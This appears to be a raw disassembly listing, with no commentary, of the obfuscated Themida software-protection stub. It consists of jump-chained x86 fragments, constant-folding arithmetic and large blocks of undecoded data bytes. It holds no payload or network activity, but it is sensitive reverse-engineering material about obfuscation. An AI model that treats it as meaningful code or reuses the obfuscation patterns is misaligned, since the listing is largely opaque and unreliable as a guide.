		db 0F7h
		dd 867405D0h, 0C101EBF8h, 2434FF58h, 4C4815Bh, 0E9000000h
		dd 7DE2h
; ---------------------------------------------------------------------------

loc_558C9C:				; CODE XREF: Themida_:00558150j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_555642
; ---------------------------------------------------------------------------

loc_558CA5:				; CODE XREF: Themida_:0055E2F1j
		push	esi
		mov	esi, esp
		jmp	loc_56566B
; ---------------------------------------------------------------------------

loc_558CAD:				; CODE XREF: Themida_:00558D75j
		sub	al, dh
		mov	edx, [esp]
		jmp	loc_55E9CB
; ---------------------------------------------------------------------------

loc_558CB7:				; CODE XREF: Themida_:00552C07j
		mov	al, 3Dh
		jmp	loc_56582C
; ---------------------------------------------------------------------------
aIcsz		db '‰çé‡Ú',0
		dd 58C18900h, 18A868h, 242C8900h, 0F05F1DBDh, 5C5B2D74h
		dd 0E80134CFh, 0CF5C5B05h, 6681E934h, 0C6830000h, 24348704h
		dd 3547685Ch, 0C890000h, 53E18924h, 0D2400F68h,	0DBF75B76h
		dd 0FFE0A7E9h, 24248BFFh, 4AB0F66h, 0EBE99C24h,	50FFFF9Ah
		dd 6C685854h, 0E9000057h, 0AC30h, 62EF815Dh, 0E95CE52Dh
		dd 0BA0Bh
; ---------------------------------------------------------------------------

loc_558D2C:				; CODE XREF: Themida_:0055E864j
		pop	edx
		sub	ch, 3Ch
		add	ch, 50h
		xor	dl, ch
		jmp	loc_55DF9B
; ---------------------------------------------------------------------------

loc_558D3A:				; CODE XREF: Themida_:00561937j
		add	ebx, 31F42192h
		shr	ebx, 8
		not	ebx
		jmp	loc_5644A8
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 57A96850h, 2C890000h, 1BB06824h, 535D451Fh, 0E0E454BBh
		dd 76C581BAh, 113BD6Dh,	0A0C8E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558D72:				; CODE XREF: Themida_:0056324Aj
		xor	dh, bl
		pop	ebx
		jmp	loc_558CAD
; ---------------------------------------------------------------------------
		dw 3481h
		dd 7F1C3C24h, 0F7815F33h, 337F1C3Ch, 0CDC4E959h, 48FFFFFh
		dd 24248B24h, 476C68h, 24248900h, 0FFEFBFE9h, 5BD800FFh
		dd 0E9506659h, 4CCh, 0E945D5F7h, 9B9Bh
; ---------------------------------------------------------------------------

loc_558DB4:				; CODE XREF: Themida_:00565A30j
		pop	esp
		push	esi
		jmp	loc_55FA33
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA7CF6C5h, 81C5293Fh, 0CA7CF6EDh, 24048B3Fh, 0E904C483h
		dd 0B0BEh, 80B7EF80h, 0E70061EFh, 0E961C780h, 4E60h, 53F80158h
		dd 0FFBDA1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558DED:				; CODE XREF: Themida_:0055E680j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		jmp	loc_564C44
; ---------------------------------------------------------------------------
		dd 4EC8158h, 0E9000000h, 0AE58h, 56C3015Dh, 0BB53E689h
		dd 3B9F5855h, 3D51E381h, 0F3813388h, 41BC2608h,	3E5DF381h
		dd 0EE817234h, 2D2359DBh, 0BA52DE01h, 2D2359DBh, 8B5AD601h
		dd 0C481241Ch, 4, 0FFB8DEE9h, 0CDC380FFh, 0EB80D328h, 5558E9CDh
		dd 0E0C10000h, 0BE564008h, 68853839h, 1F5FEE81h, 0C6816055h
		dd 18D37786h, 7CD5C681h, 0F031EE6Bh, 0E9C2315Eh, 3D5Eh
		dd 1D00B72Dh, 0BB5F050Eh, 0C601BE4Dh, 370BE958h, 81450000h
		dd 1EDh, 0DDBE5600h, 0E942E82Eh, 53B6h,	6234BA52h, 0D2F740B1h
		dd 6239C281h, 0D10140B1h, 0FFD28FE9h, 81E689FFh, 4C6h
		dd 4EE8100h, 33000000h,	34312434h, 24343324h, 240C895Ch
		dd 0F15C57B9h, 0BD3CE92Ch, 248BFFFFh, 991CE924h, 8150FFFFh
		dd 4ECh, 24248900h, 4240481h, 58000000h, 581968h, 240C8900h
		dd 0CC1638B9h, 81D9F76Fh, 0FFFFFFC1h, 814949FFh, 0C46CECE9h
		dd 0BB5BE90Fh, 3C89FFFFh, 568ABF24h, 0EC811CD8h, 4, 0B8240489h
		dd 496F70BBh, 11C3E9h
		db 0
; ---------------------------------------------------------------------------

loc_558F31:				; CODE XREF: Themida_:0055D2D6j
		mov	[esp], esi
		pop	dword ptr [edi+24h]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_563549
; ---------------------------------------------------------------------------

loc_558F46:				; CODE XREF: Themida_:0056101Cj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_561D27
; ---------------------------------------------------------------------------
		db 2Dh
		dd 5E8B63A7h, 0A2F6E9h,	0E9815D00h, 0BE7607DDh,	766EDD2Dh
		dd 0CD2EE949h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558F72:				; CODE XREF: Themida_:0056406Bj
		mov	[esp], ecx
		xor	[esp], esi
		jmp	loc_55802D
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 80h
		dd 0EDC001C5h, 0DEC58005h, 767FE9h, 2434FF00h, 4EC8358h
		dd 54241489h, 369FE95Ah, 8F5D0000h, 0C5312404h,	0D6E9E831h
		dd 8B00003Bh, 0E9532404h, 0D3D7h, 575A6851h, 59E94DD4h
		dd 0F7000025h, 90C281DAh, 317F1A74h, 0C2F7E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558FCE:				; CODE XREF: Themida_:00566352j
		mov	ebp, esp
		jmp	loc_55F0A4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C240CFFh, 0FF981DE9h, 3864B8FFh, 0C2813D85h, 39C14C1Bh
		dd 8BE9C229h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558FF3:				; CODE XREF: Themida_:0055F346j
		add	esp, 4
		and	dh, 54h
		shl	dh, 1
		or	dh, 0A2h
		jmp	loc_557C01
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0C606h, 6615EB80h, 0FED98851h, 66CB88C9h, 0C9B2E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55901E:				; CODE XREF: Themida_:00561D73j
		pop	ebx
		push	ebx
		jmp	loc_564C7D
; ---------------------------------------------------------------------------

loc_559025:				; CODE XREF: Themida_:00553104j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 2
		jmp	loc_55B0E1
; ---------------------------------------------------------------------------

loc_559031:				; CODE XREF: Themida_:00563665j
		xor	ebp, 5D52212Fh
		add	ebp, 0D05080EFh
		sub	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5591CF
; ---------------------------------------------------------------------------
		db 83h
		dd 0F83004C4h, 0B0505B66h, 0ACEB8022h, 0C380C300h, 60FFE9ACh
		dd 0C5810000h, 0E5A902B3h, 15DEB01h, 16685BD9h,	89000008h
		dd 468243Ch, 5F000000h,	32F3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55907D:				; CODE XREF: Themida_:0055D8AAj
		add	eax, 25365C40h
		sub	ebp, eax
		pop	eax
		sub	ebp, 0DF4F395h
		add	ecx, ebp
		pop	ebp
		jmp	loc_564DDA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 4C48124h,	68000000h, 5554h, 68242C89h, 7A24h
		dd 81242489h, 42404h, 815D0000h, 4ECh, 24148900h, 4BAh
		dd 3B27E900h, 0E95E0000h, 3CFCh, 52240489h, 793B1FBAh
		dd 5AD08966h, 49AA68h, 242C8900h, 0D736CE68h, 2B7CE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5590EE:				; CODE XREF: Themida_:0056383Fj
		not	dword ptr [esp]
		pop	ebx
		shr	ebx, 6
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 1
		sub	esp, 4
		jmp	loc_55470D
; ---------------------------------------------------------------------------

loc_559108:				; CODE XREF: Themida_:005577E4j
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_560BD1
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 2434FF5Ch, 4C4835Bh, 4BA52h, 0D3010000h
		dd 2CF0E9h
		db 0
; ---------------------------------------------------------------------------

loc_559131:				; CODE XREF: Themida_:005637D2j
		xor	esi, edi
		push	dword ptr [esp]
		jmp	loc_555188
; ---------------------------------------------------------------------------

loc_55913B:				; CODE XREF: Themida_:0055BD71j
		push	dword ptr [esp]
		jmp	loc_563F6A
; ---------------------------------------------------------------------------

loc_559143:				; CODE XREF: Themida_:0055B331j
		mov	ecx, 4CC54A59h
		inc	ecx
		sub	ecx, 49B66157h
		neg	ecx
		sub	ecx, 0ACEF0F38h
		add	eax, ecx
		pop	ecx
		add	eax, edi
		sub	eax, 500207C5h
		push	2828h
		jmp	loc_564C8B
; ---------------------------------------------------------------------------
		db 68h
		dd 2474h, 0BF243C89h, 4, 0FFE50DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55917D:				; CODE XREF: Themida_:00567916j
		push	edi
		mov	edi, 39AA379Bh
		dec	edi
		jmp	loc_5627A6
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0C6h
		dd 86327CB9h, 815EF089h, 7B2E6CEBh, 81C30143h, 7B2E6CC3h
		dd 0BA525843h, 6E22756Fh, 1CC6E281h, 0C28168CDh, 40DD2913h
		dd 13C7EA81h, 0AEE94291h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5591BF:				; CODE XREF: Themida_:0055F6F9j
		push	dword ptr [esp]
		jmp	loc_554E97
; ---------------------------------------------------------------------------
		db 87h
		dd 0D0E9240Ch
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5591CF:				; CODE XREF: Themida_:00559042j
		add	esp, 4
		jmp	loc_55A2E0
; ---------------------------------------------------------------------------
		db 48h
		dd 34453548h, 0C201696Bh, 0E9525558h, 0FFFFF69Ch, 241C875Ch
		dd 6624248Bh, 2404AB0Fh, 9604E99Ch, 34FFFFFFh, 2434FF24h
		dd 4C48158h, 0E9000000h, 8F14h,	458EC581h, 815852A2h, 4D2AEEEEh
		dd 8C5AE974h, 478F0000h, 95D8E940h, 22BEFFFFh, 9086323h
		dd 0C9355EF0h, 21421C58h, 0EAC158C2h, 0BFF28105h, 0E9477506h
		dd 0FFFFBADCh
; ---------------------------------------------------------------------------

loc_559244:				; CODE XREF: Themida_:00564D82j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	dword ptr [esp+4], 176478CEh
		add	[esp+4], edi
		push	ecx
		jmp	loc_5543B0
; ---------------------------------------------------------------------------
		db 57h
		dd 297F0CBFh, 0C2EF8141h, 0D17BD876h, 10E781EFh, 0E96D576Ah
		dd 0C2CCh, 0CC8065B4h, 0C0CCFE0Fh, 0B15107E4h, 0E9D1F690h
		dd 2D8Ch
; ---------------------------------------------------------------------------

loc_55928C:				; CODE XREF: Themida_:00553EC2j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_553F4C
; ---------------------------------------------------------------------------

loc_55929A:				; CODE XREF: Themida_:0055F34Ej
		mov	ch, 62h
		shl	ch, 1
		or	ch, 0F8h
		push	7004h
		mov	[esp], edx
		mov	dl, 96h
		inc	dl
		not	dl
		push	ebx
		mov	bh, 1Fh
		dec	bh
		push	dx
		mov	dl, 1
		jmp	loc_55AA47
; ---------------------------------------------------------------------------
aSASU		db 'S·',8,'€Ç<éßu',0
		align 4

loc_5592C8:				; CODE XREF: Themida_:00564DA5j
		pop	edi
		add	eax, edi
		jmp	loc_56429A
; ---------------------------------------------------------------------------
		dd 4C78159h, 0E9000000h, 0CB0Ah
; ---------------------------------------------------------------------------

loc_5592DC:				; CODE XREF: Themida_:005627A1j
		add	esp, 4
		sub	ebx, 4
		push	6704h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	cl, 8
		sub	cl, 1
		jmp	loc_566B14
; ---------------------------------------------------------------------------
		dd 8EE9EB31h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55930F:				; CODE XREF: Themida_:0055A29Dj
		push	eax
		jmp	loc_563744
; ---------------------------------------------------------------------------
		db 31h,	0CFh, 31h
		dd 0E9CF31F9h, 9F61h, 33243C31h, 665C243Ch, 0E924048Bh
		dd 0CC47h, 0E9243433h, 0BB9Bh, 0E95166ACh, 0FFFFB010h
; ---------------------------------------------------------------------------

loc_559340:				; CODE XREF: Themida_:005533B6j
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_5617E0
; ---------------------------------------------------------------------------

loc_55934F:				; CODE XREF: Themida_:00557CA9j
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		jmp	loc_564D70
; ---------------------------------------------------------------------------
		db 1, 0C8h, 59h
		dd 0B92DC801h, 8B6A7D7Dh, 8952240Ch, 4C281E2h, 0E9000000h
		dd 0B58Dh, 0E93C77FFh, 5445h, 24048B66h, 3B5168h, 559CE900h
		dd 52580000h, 84A2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55939D:				; CODE XREF: Themida_:00561162j
		mov	ecx, 3FB67DBCh
		xor	ecx, 3FB67DB8h
		add	edi, ecx
		jmp	loc_566E94
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 9713E900h, 665B0000h, 66427C68h, 51241489h, 0B65240B1h
		dd 67ABE976h, 34FF0000h, 2434FF24h, 582434FFh, 8304C483h
		dd 545704C4h, 81243C8Bh, 4C4h, 4C78100h, 51000000h, 0FFA6A9E9h
		dd 0EFC681FFh, 81362F57h, 236CCBEEh, 0A6B2E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559406:				; CODE XREF: Themida_:0056313Cj
		movzx	eax, al
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_554C41
; ---------------------------------------------------------------------------
		db 4Fh,	0C1h, 0E7h
		dd 81E7D108h, 17A1CDEFh, 5FF821A3h, 0D36BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55943D:				; CODE XREF: Themida_:005659B9j
		mov	esi, esp
		jmp	loc_5676B5
; ---------------------------------------------------------------------------

loc_559444:				; CODE XREF: Themida_:0056661Fj
		add	ebx, edi
		push	dword ptr [ebx]
		add	dword ptr [esp], 67BD62A1h
		pop	ecx
		sub	ecx, 67BD62A1h
		pop	ebx
		push	4282h
		jmp	loc_5627C0
; ---------------------------------------------------------------------------

loc_559461:				; CODE XREF: Themida_:00557B88j
		add	esp, 4
		jmp	loc_5549E5
; ---------------------------------------------------------------------------

loc_55946C:				; CODE XREF: Themida_:00553E71j
		add	bl, 26h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55C8E8
; ---------------------------------------------------------------------------

loc_559482:				; CODE XREF: Themida_:005538A3j
		shl	ecx, 7
		neg	ecx
		neg	ecx
		sub	ecx, 8F2026FCh
		jmp	loc_55F331
; ---------------------------------------------------------------------------
		dd 2410685Fh, 4890000h,	0D5BB5324h, 896D540Ch, 0EBDEE9D8h
		dd 74FFFFFFh, 34FF0424h, 240C8B24h, 0E904C483h,	0FFFFBC14h
; ---------------------------------------------------------------------------

loc_5594BC:				; CODE XREF: Themida_:00563F00j
		push	ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	esi
		mov	esi, 1CB60754h
		dec	esi
		sub	esi, 1CB6074Fh
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55ED2B
; ---------------------------------------------------------------------------
aYsat		db 'YéaT',0
		align 2

loc_5594F2:				; CODE XREF: Themida_:00564707j
		or	edx, eax
		shl	edx, 1
		jmp	loc_55DCB0
; ---------------------------------------------------------------------------
		db 0B9h
		dd 786600A0h, 4BBBC181h, 0BB53259Eh, 35E267Ch, 0E906EBC1h
		dd 7790h, 15AD189h, 3594E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55951E:				; CODE XREF: Themida_:00567073j
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_556BE0
; ---------------------------------------------------------------------------
		dd 815FFD89h, 820256C5h, 4DD5F748h, 0FFB88DE9h,	4C483FFh
		dd 68h,	243C2900h, 10CF815Fh, 813D3B62h, 84377C7h, 5FF8298Bh
		dd 1D489A2Dh, 58F52D60h, 0D829042Ch, 0FFF52BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55956D:				; CODE XREF: Themida_:00561F5Bj
		or	eax, eax
		jmp	loc_55309B
; ---------------------------------------------------------------------------
		dd offset dword_4E0374+0F4h
		dd 242C8900h, 42474FFh,	0FFFA19E9h, 42EE80FFh, 0D1E95266h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55958F:				; CODE XREF: Themida_:00556EB3j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	edx, ebx
		xchg	ebx, ebp
		jmp	loc_552F4A
; ---------------------------------------------------------------------------
		db 89h
		dd 0D3015EF3h, 4E44E9h,	81D70100h, 2E1C6DEFh, 24148B49h
		dd 4EC81h, 34890000h, 3506E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5595C2:				; CODE XREF: Themida_:00557DFFj
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5668DE
; ---------------------------------------------------------------------------
		db 5
		dd 0BDABFEFEh, 3E59EF81h, 0C7296B80h, 3E59C781h, 57586B80h
		dd 42474FFh, 0E9243C8Bh, 0FFFFC6D3h, 3BD56858h,	0C890000h
		dd 56595424h, 0B951E689h, 4, 8359CE01h,	343304EEh, 24343124h
		dd 0FFDC9BE9h, 0FE015AFFh, 0A7E9525Fh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559627:				; CODE XREF: Themida_:0055B935j
		pop	eax
		or	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 67FA695Ch
		mov	edx, ebx
		jmp	loc_554D88
; ---------------------------------------------------------------------------
aSvx		db ']éVx',0
		db 0
; ---------------------------------------------------------------------------

loc_559643:				; CODE XREF: Themida_:0055E239j
		shl	esi, 8
		jmp	loc_563EAC
; ---------------------------------------------------------------------------
		db 83h
		dd 4DE904C4h, 540000BFh, 2A5E9h
		db 0
; ---------------------------------------------------------------------------

loc_559659:				; CODE XREF: Themida_:00562038j
		pop	ecx
		add	eax, esi
		pop	esi
		jmp	loc_558C63
; ---------------------------------------------------------------------------
		dw 0C8Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_564CAB
; ---------------------------------------------------------------------------

loc_559673:				; CODE XREF: Themida_:00566EE9j
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 7
		push	ecx
		mov	ecx, esp
		jmp	loc_55B006
; ---------------------------------------------------------------------------

loc_55968B:				; CODE XREF: Themida_:0055BB22j
		mov	edx, esp
		add	edx, 4
		jmp	loc_55ABDB
; ---------------------------------------------------------------------------
		dd 5004C483h, 4B8h, 1FC68100h, 813B072Eh, 497CA8C6h, 0E9C6010Dh
		dd 0C326h, 33243C31h, 16E9243Ch, 66FFFFF9h, 51240C8Bh
		dd 2434FF54h, 0E3895359h, 7721B951h, 0F1811033h, 6A21303Ch
		dd 7DE2E9h
		db 0
; ---------------------------------------------------------------------------

loc_5596DD:				; CODE XREF: Themida_:0055B558j
		shl	ecx, 1
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		push	edx
		mov	edx, 44DE5DA8h
		or	ecx, edx
		jmp	loc_564078
; ---------------------------------------------------------------------------
		dw 0D605h
		dd 29779C19h, 19D62DC8h, 0E959779Ch, 3984h
; ---------------------------------------------------------------------------

loc_559704:				; CODE XREF: Themida_:00561604j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55426C
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 83000000h,	4FE904E8h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55971F:				; CODE XREF: Themida_:00560C68j
		sub	esp, 4
		mov	[esp], ebp
		push	4
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, 1ED61017h
		add	esi, ebp
		add	esi, 1ED61017h
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		and	eax, ebp
		jmp	loc_55D29E
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF72900h, 8B243C87h, 0A1E92424h, 59000076h, 5C243487h
		dd 0E9C8BE0Fh, 0FFFFE664h, 0FF9081E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55977D:				; CODE XREF: Themida_:0055FD05j
		push	eax
		mov	eax, 6CF767F1h
		shr	eax, 8
		neg	eax
		shr	eax, 3
		push	esi
		mov	esi, 5F744019h
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		xor	dword ptr [esp], 2CA01131h
		pop	esi
		xor	esi, 2CA01131h
		pop	eax
		sub	dword ptr [esp+8], 55947508h
		sub	[esp+8], esi
		add	dword ptr [esp+8], 55947508h
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55A391
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 0BBF7E9h, 48B6600h, 0C66CE924h, 9A050000h, 51601D48h
		dd 0CEFBE953h, 0F128FFFFh, 5A66E980h, 0B353D4B2h, 0F6C3FEF6h
		dd 80C3FEDBh, 1E92BC3h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_559807:				; CODE XREF: Themida_:00560085j
		mov	bl, ah
		pop	eax
		push	edx
		mov	dl, bl
		mov	[edi+eax*4], dl
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		jmp	loc_5527FE
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0D0341FBFh, 0C758E90Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559842:				; CODE XREF: Themida_:00564B27j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_559D54
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0B67912Dh, 1E9D683Ah, 0C890000h, 189AB924h, 87E964F2h
		dd 81FFFFFEh, 4C4h, 0D39DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559876:				; CODE XREF: Themida_:0055481Fj
		xor	esi, [esp]
		jmp	loc_55A4BF
; ---------------------------------------------------------------------------

loc_55987E:				; CODE XREF: Themida_:00553A53j
		pop	edx
		push	edi
		jmp	loc_554F55
; ---------------------------------------------------------------------------
		db 1, 0C7h, 8Bh
		dd 0DCE92404h, 0BE000088h, 11850D8Dh, 0FFE2CDE9h, 24248BFFh
		dd 240C8B66h, 51E68956h, 0B67CE9h
		db 0
; ---------------------------------------------------------------------------

loc_5598A9:				; CODE XREF: Themida_:00558276j
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_55FB8F
; ---------------------------------------------------------------------------

loc_5598BC:				; CODE XREF: Themida_:00557620j
		mov	esp, [esp]
		add	ebp, 4
		jmp	loc_562806
; ---------------------------------------------------------------------------
		db 81h
		dd 275EBECBh, 35EB8103h, 10C1912h, 0F9015BD9h, 4C89E981h
		dd 0D9E9570Eh
		db 0ACh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5598E3:				; CODE XREF: Themida_:0055C4A4j
		mov	[esp], ebx
		mov	ebx, 4
		push	ecx
		jmp	loc_55B649
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EE010000h, 0D733E95Dh, 48F0000h, 0E7895724h, 4C781h
		dd 0EF810000h, 4, 4B51E9h, 2404FF00h, 0FFEDCBE9h, 2434FFFFh
		dd 4C4835Bh, 0DBDE9h, 240C8B00h, 6804C483h, 29E3h, 0B9240C89h
		dd 399F55C5h, 1AD9F181h, 0CF210BCFh, 81240C8Bh,	4C4h, 62E95100h
		dd 0BA000036h, 4FD9218Fh, 1056E9h
		db 0
; ---------------------------------------------------------------------------

loc_55995D:				; CODE XREF: Themida_:005631B3j
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		add	eax, 50D85CEBh
		add	eax, edi
		sub	eax, 50D85CEBh
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_562696
; ---------------------------------------------------------------------------

loc_55997C:				; CODE XREF: Themida_:00552972j
		pop	ecx
		add	esi, 3B3109Dh
		add	esi, ebx
		sub	esi, 3B3109Dh
		jmp	loc_554EFD
; ---------------------------------------------------------------------------

loc_559990:				; CODE XREF: Themida_:005573A4j
		sub	esp, 4
		jmp	loc_55494F
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0BCE9243Ch, 5F000046h, 4C781h, 56500000h
		dd 0C15586BEh, 0BCAAE967h, 43E9FFFFh
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5599BB:				; CODE XREF: Themida_:0055FD24j
		mov	esi, esp
		add	esi, 4
		jmp	loc_564E49
; ---------------------------------------------------------------------------

loc_5599C8:				; CODE XREF: Themida_:0055B3AEj
		mov	ch, bh
		pop	ebx
		mov	eax, [esp]
		jmp	loc_556639
; ---------------------------------------------------------------------------

loc_5599D3:				; CODE XREF: Themida_:0055BF3Aj
		pop	ecx
		jmp	loc_5648ED
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHs9		db '$há9',0
		align 2
		dw 0C89h
aIss7fnso	db '$‰áS»Ú7fnéoÍ',0
		align 2
aPsx		db 'PéXµ',0
		align 4
		dd 1EF8147h, 0E9000000h, 758Ch,	0C520C681h, 0C58115F2h
		dd 7AE96610h, 0ED81F501h, 7AE96610h, 1B85E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_559A1E:				; CODE XREF: Themida_:0055FA39j
		add	ebx, 4C71419Bh
		dec	ebx
		jmp	loc_5629B5
; ---------------------------------------------------------------------------
aTxhk3		db 'TXhª3',0
		dd 240C8900h, 240572B9h, 53D9F733h, 3C388ABBh, 0E9D3F746h
		dd 0FFFFEFEFh, 8158C621h, 88BEEh, 0A553E924h, 4BBFFFFh
		dd 1000000h, 0FF555BDDh, 8B042474h, 0E951242Ch,	0C7F8h
		dd 8124348Bh, 4C4h, 241C8700h, 241C895Ch, 766268h, 24248900h
		dd 0AA1E9h, 1B5F6800h, 555D42CEh, 0AE6C4ABDh, 40E58167h
		dd 4D14A61Dh, 0C581D5F7h, 3C203777h, 0FD4ED81h,	46E9F4ACh
		dd 53FFFFCCh, 4EC81h, 0C890000h, 4EC8124h, 89000000h, 0E952241Ch
		dd 70BBh, 4BBh,	0C9C78100h, 0E94C4824h,	80C0h, 7D94EE81h
		dd 0D9E977E2h, 5D0000D5h, 5DEB68h, 24148900h, 4BAh, 0A49E900h
		dd 895C0000h, 0E189240Ch, 4EC81h, 14890000h, 0C82EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559B0A:				; CODE XREF: Themida_:00561D38j
		push	22Fh
		mov	[esp], edi
		mov	edi, 73F02644h
		jmp	loc_564DAA
; ---------------------------------------------------------------------------
		dd 0F4EA815Bh, 0E95E801Ch, 0FFFF9834h
; ---------------------------------------------------------------------------

loc_559B28:				; CODE XREF: Themida_:00552E35j
		push	eax
		jmp	loc_5610A5
; ---------------------------------------------------------------------------
		dw 0BD68h
		dd 89000005h, 74FF2434h, 8F5E0424h, 0CEE92404h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_559B43:				; CODE XREF: Themida_:0056332Ej
		sub	eax, 15C0FFCh
		add	ebp, eax
		jmp	loc_5612D4
; ---------------------------------------------------------------------------
		db 81h
		dd 0E3AA15EAh, 5AD101CFh, 31240C33h, 0C33240Ch,	24248B24h
		dd 3C762135h, 242C8B46h, 0E904C483h, 0FFFF8C8Ah, 24BF6657h
		dd 0C7816656h, 2CE9FD4Fh, 100005Dh, 1C8B59C8h, 4C48124h
		dd 2D000000h, 4, 5C240487h, 8B243489h, 0C483241Ch, 2434FF04h
		dd 5024348Bh, 6853E089h, 4, 4CAE9h, 2434FF00h, 5724048Bh
		dd 0BB53E789h, 1677064Bh, 336C68h, 241C8900h, 5B2414F7h
		dd 7B98F381h, 0EB81279Ah, 662A2831h, 59F7EB81h,	0DF0167E8h
		dd 4EC835Bh, 0DAC0E9h, 75685500h, 0E9000038h, 3EA9h, 8904EC83h
		dd 98BF243Ch, 12E7B32h,	243C8BF8h, 81E18951h, 4C1h, 4C18300h
		dd 0D00EE9h, 1C77FF00h,	6659669Dh, 9C2414D3h, 0FF8BD5E9h
		dd 8BD0E9FFh, 0CE81FFFFh, 303145A3h, 25C7CE81h,	0C68134E2h
		dd 140B2E8Fh, 9C72EE81h, 0F22949FEh, 2414875Eh,	0E924248Bh
